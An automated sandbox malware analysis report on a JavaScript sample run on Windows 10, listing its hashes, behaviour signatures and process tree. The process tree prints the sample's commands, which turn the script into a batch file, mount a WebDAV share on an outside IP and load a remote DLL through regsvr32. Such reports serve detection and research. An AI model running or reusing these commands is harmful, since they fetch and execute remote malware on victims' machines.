Analysis

  • max time kernel
    92s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 01:07

General

  • Target

    877311094352931474.js

  • Size

    5KB

  • MD5

    fb7844f42aa508021990797803fc3ce3

  • SHA1

    8a244213ba71c5d43780a7949dad106f31e6e186

  • SHA256

    52a2f57aca18834b8fc86dd9f36d5f5d4808dae93629398348096a174b36e906

  • SHA512

    1e5556898018a6ba6f706b41f0ab987203ffe06b6da19ee16789d3f403ae0c2be83dd4119b937304ed31c2c6b580dfbf24b4639e28b750c20eab25391412491a

  • SSDEEP

    96:GPQV8y95h950wBfwzXi3RHIuW82q4Ezn3kAC:P8l+mS3RRW82q4Ezn3kAC

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\877311094352931474.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\877311094352931474.js" "C:\Users\Admin\\otryld.bat" && "C:\Users\Admin\\otryld.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4688
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4244
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\967.dll
          3⤵
            PID:4984

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\otryld.bat

        Filesize

        5KB

        MD5

        fb7844f42aa508021990797803fc3ce3

        SHA1

        8a244213ba71c5d43780a7949dad106f31e6e186

        SHA256

        52a2f57aca18834b8fc86dd9f36d5f5d4808dae93629398348096a174b36e906

        SHA512

        1e5556898018a6ba6f706b41f0ab987203ffe06b6da19ee16789d3f403ae0c2be83dd4119b937304ed31c2c6b580dfbf24b4639e28b750c20eab25391412491a